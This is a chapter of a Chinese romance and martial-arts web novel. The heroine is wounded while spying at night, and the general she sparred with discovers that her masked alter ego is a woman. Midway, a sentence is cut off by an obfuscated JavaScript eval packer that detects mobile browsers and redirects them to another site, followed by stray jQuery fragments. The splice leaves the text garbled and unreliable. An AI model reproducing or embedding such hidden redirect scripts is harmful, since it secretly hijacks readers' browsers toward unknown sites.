21. 心思

作品:《被疯狗将军觊觎了

    “迟锦闻。”


    沈泠只是愣了一下,就伸手把耳畔的花取下来:“你这是什么意思?”


    “意思?没什么意思。”


    迟锦闻十指相扣放在下巴处,微微偏头看她:


    “就是看见这花,觉得就该别在你发间。”


    “很适合你。”


    他弯着眸,也不知道是正儿八经还是在调笑:“衬得你跟画里的小仙子似的。”


    凤凰花。


    叶如飞凰之羽,花若丹凤之冠,花色灼灼,耀眼明朗。


    若真说是适合——


    沈泠别过头去瞧他。


    那也该是适合这人。


    “是么。”


    沈泠看着迟锦闻,把手上的花放在石桌上:“这花也很适合迟小将军。”


    东熙国位置偏南,气候温热。


    这凤凰花在别国难寻,但在东熙,倒是生得枝繁叶茂,远远望去,一片红海,倒是独一处的风景。


    沈府后院中奇花异草甚多,花色妍丽者更是数不胜数。


    但只要有这凤凰花树在,放眼瞧去,都会被它那灼目的红吸引去视线。


    明艳,却刺眼。


    就跟迟锦闻这个人一样。


    亭中有些寂静。


    只隐隐有风声从耳畔掠过,带着淡淡的花草香气萦绕在鼻尖。


    “沈小姐。”


    迟锦闻忽地开口:“听闻小姐有个暗卫,是叫林深?”


    沈泠饮茶的动作一顿,敛眸掩下眼底的轻笑,声音淡淡:


    “是。”


    “怎么,小将军是要挖我墙角?”


    “怎么可能!”


    迟锦闻像是被人戳中了心思,几乎是下意识地站起身来否认。


    待他意识过来,耳根唰地通红,迎着沈泠调侃的目光,轻咳两声。


    “就……就是问问。”


    迟锦闻别着脸,有些心虚地拿起旁边的茶盏,将里面的茶水一饮而尽。


    惦记别人的暗卫,结果自己倒还先爆出来了。


    真是丢人。


    脸都丢尽了。


    他拍了拍锦袍上的褶皱,拱手行礼:“多谢小姐今日招待,在下便先走了。”


    “欸?”


    沈泠起身,正要循着礼节相送。


    待再抬头一看,迟锦闻早就不见了影子。


    沈泠:?


    躲什么?


    在林深面前,挖墙脚挖得肆无忌惮,正主面前倒是不敢造次了。


    “呵。”


    沈泠弯唇坐下,伸手去拿茶盏。


    手上的重量轻了不少。


    “嗯?”


    她低头一看,里面的茶水全都被人饮尽了。


    而她先前给迟锦闻倒的那盏茶,还原封不动地放在那里。


    沈泠的脸忽地发烫。


    她吩咐身边的随侍打扫,自己则是抬步离去。


    沈泠不知在想什么,走得越来越快。


    清风拂过她的脸颊,非但没降温,倒是愈发热了。


    这人真是……


    讨厌。


    -


    沈家最近出了不少事。


    先是沈清臣伤重回京,卧床一月,又是沈家家主将家中族老都叫来开了家宴,说了不少话,明里暗里都有敲打府上其他几房的意思。


    沈述和沈仇连连点头道歉,还把上次亭中的几个人叫来,当着主家人的面狠狠训斥了一番。


    沈晏跪在地上受家法,几个小姑娘也是被训斥得哭得梨花带雨,最后还是白姣云被吵得不行,才摆手了结此事。


    沈泠只是站在一旁,围观了全程。


    她可没错过,那两个叔叔和几个婶婶,弯腰道歉时眼底的不甘和恨意。


    当面一套,背后一套。


    果真是心思不纯。


    是夜,沈泠穿上新裁的夜行衣,藏在沈府侧门附近的树后。


    约莫等了两刻钟,她瞧见沈述的贴身侍从抱着什么,鬼鬼祟祟地从侧门离开。


    沈泠蹙着眉,抬步跟了上去。


    那人甚是警觉,就在沈府周边的几个小巷里打转,来来回回折了好几趟。


    忽地,他顿下脚步,回头打量着四周。


    待察觉到四周没有人跟着,他方才松了口气,从巷子尽头的小门迈了出去,一路小跑了半个时辰,进了一处颇为破败的宅院。


    沈泠跟着跃下房檐。


    这里……


    是哪里?


    这处宅院像是荒废了许久,四周杂草丛生,旁边的土堆上有着明显的腐烂气味。


    一阵风吹过。


    乌鸦从树叶的缝隙中飞出来,盘旋着嘶叫,杂草间隐隐有些细微的声响,像是时不时便能窜出一条毒蛇飞扑而来,直中面门。


    这是什么地方?为何……瞧着这般诡异?


    沈泠躲在暗处,将此方宅院的模样刻在脑海里。


    待回府时,她便把这处宅院画下来,查起来也方便些。


    “大人,我们已经……”


    忽地,里面的一处屋子亮起灯光,些微声音从里面透了出来。


    沈泠扶着墙檐,踮脚走到窗边,伸手在积灰的窗纸上戳了个洞,小心凑上前去。


    里面灯光昏暗,只有两点烛火亮在床边。


    沈泠往左边动了下,目光接触到一个熟悉的黑袍。


    还未等她细看,倏忽,一双漆黑的瞳眸对上她的视线,凑到窗洞处死死凝着她。


    下一瞬,一把匕首划破窗纸,直直向她袭来。


    沈泠躲闪不及,被划破了胳膊。


    汩汩的鲜血从伤口处冒出来,沈泠目光一凛,伸手给了他一掌,随即踮脚跃上房檐,匆匆逃离了此地。


    黑袍人捂着胸口,忽地轻笑一声,殷红的薄唇勾起残忍的笑:


    “追。”


    “等追上了,不必汇报,直接杀了。”


    “是。”


    几道黑影自空中掠过。


    黑袍人掀开兜帽,立在窗檐前。


    修长的指节看着方才被沈泠击破的窗纸,饶有兴味道:“沈泠么?”


    “倒是个会装的。”


    人前人后完全是两副面孔,当真有趣。


    比她那哥哥有趣得多。


    沈泠捂着肩膀,一路奔逃到扶月楼附近。


    待走到一处,她一跃而下,躲在两排房屋中间的小巷处,看着上方几个黑衣人快速往前奔去。


    待上面的声音消失,沈泠才浅松了一口气。


    紧绷的神经放松了些许,肩膀上的剧痛感瞬间席卷全身。


    沈泠把手拿下来一看,上面的血迹隐隐有些泛乌。


    有毒。


    所幸她早有准备。


    沈清臣的毒解开,陌上也就启程回了青枫山。


    他走之前,在洛洛的强烈要求下,给沈泠留了一大包袱的解毒药丸和金疮药之类的伤药。


    沈泠从腰带中拿出一个小瓷瓶,从中倒出一颗解毒丸服下。


    不过半柱香的功夫,沈泠便感觉身上的痛楚减轻了些许。


    她长呼出一口气,正要起身去扶月楼包


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229793|164597||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    扎一下肩上的伤口。


    忽地,她感觉到身后有人正逐渐靠近。


    是……


    方才那波人么?


    沈泠一手捂住胸口,一手握拳,随时准备攻击身后的人。


    “林深。”


    熟悉的声音自身后传来,沈泠的身体僵直了一瞬。


    “你怎么搞成这副鬼样子?”


    迟锦闻看着沈泠额头布满细汗,一副半死不活的模样,眉心微蹙。


    他弯腰将她打横抱起,往锦茶轩的方向跑去。


    沈泠轻咳了几声,看着扶月楼渐行渐远,抬眸看他:


    “放我下去,我自己能走!”


    “你走什么走。”


    迟锦闻垂首看着她,时常含笑的凤眸映着月光,轻嗤道:“你可知你招惹的都是些什么人?方才那些人,便是我去都不一定全然有胜算,你要是顶着这伤再碰上他们,必死无疑。”


    迟锦闻的目光凝在她的肩膀上。


    沈泠的夜行衣是墨黑色的,正常情况下,便是浸满血也瞧不出来。唯有被月光一晃,才能瞧见那肩膀处的大片血迹,从墨黑的布料中缓缓渗出,染红了她的指尖。


    “几天不见就受了这么重的伤,你那主子都不管你的么?”


    “锦茶轩内有我特地请来的医师,正巧可以让他们给你医治一下。”


    “不必。”


    沈泠偏过头去:“我自己能治,现在伤口里的毒已解,剩下的不过就是些皮外伤。”


    “行行行。”


    迟锦闻也不反驳她的话,只是把她带到锦茶轩暗门处,进去随手推开一个包厢:“你既是不信我的人,那便自己在里面包扎吧,床边柜子左三行第四个格子里有伤药和细布。”


    “……谢谢。”


    沈泠从柜子里拿出伤药和细布放在桌上,自己坐在凳上,把衣服褪下一半。


    肩膀处的伤口不长,但深可见骨。


    得亏她当时躲了下,不然那匕首插进的就定是她的心口。


    沈泠打开伤药的塞子,咬着牙往伤口上倒。


    强烈的刺痛感灼烧着皮肉,她下意识地嘶了一声,从旁边拿起细布,快速将伤口包扎住。


    许是方才失血有些多,她现在眼前有些微泛黑。


    伸手给细布打结时,她用的时间有些久,额上的汗珠落进眼睛里,刺得生疼。


    “林深,你怎么还没好——”


    迟锦闻在外面等了许久,都没见到沈泠出来,还以为她是伤势太重晕过去了。


    情急之下,他没来得及敲门,就直接拿着最好的伤药推门进来。


    入目所见,是散开的墨发,以及摇晃烛火间,莹白的肩胛和脖颈。


    迟锦闻惊得话都有些说不清楚:“林深,你你你……你是女子!”


    “出去!!”


    沈泠将外衣穿上,迅速戴上面罩,回头看着迟锦闻,目光冷冷。


    “砰——”


    门应声而关。


    迟锦闻仰靠在门上,紧攥着的药瓶的指节松开,哐当一声落在地上。


    他的目光尚还有些呆滞,整个人僵在原地,满脑子都是方才沈泠的背影。


    林深是女子?


    她是女子!


    那他之前抱她、带她骑马,还和她同饮一壶酒……岂不是个彻头彻尾的登徒子。


    迟锦闻羞得满脸通红。


    修长的指节覆上面颊,他阖着眸缓缓坐在地上,脑中一片混沌。


    忽地,他听到身后传来一声轻唤:


    “迟锦闻。”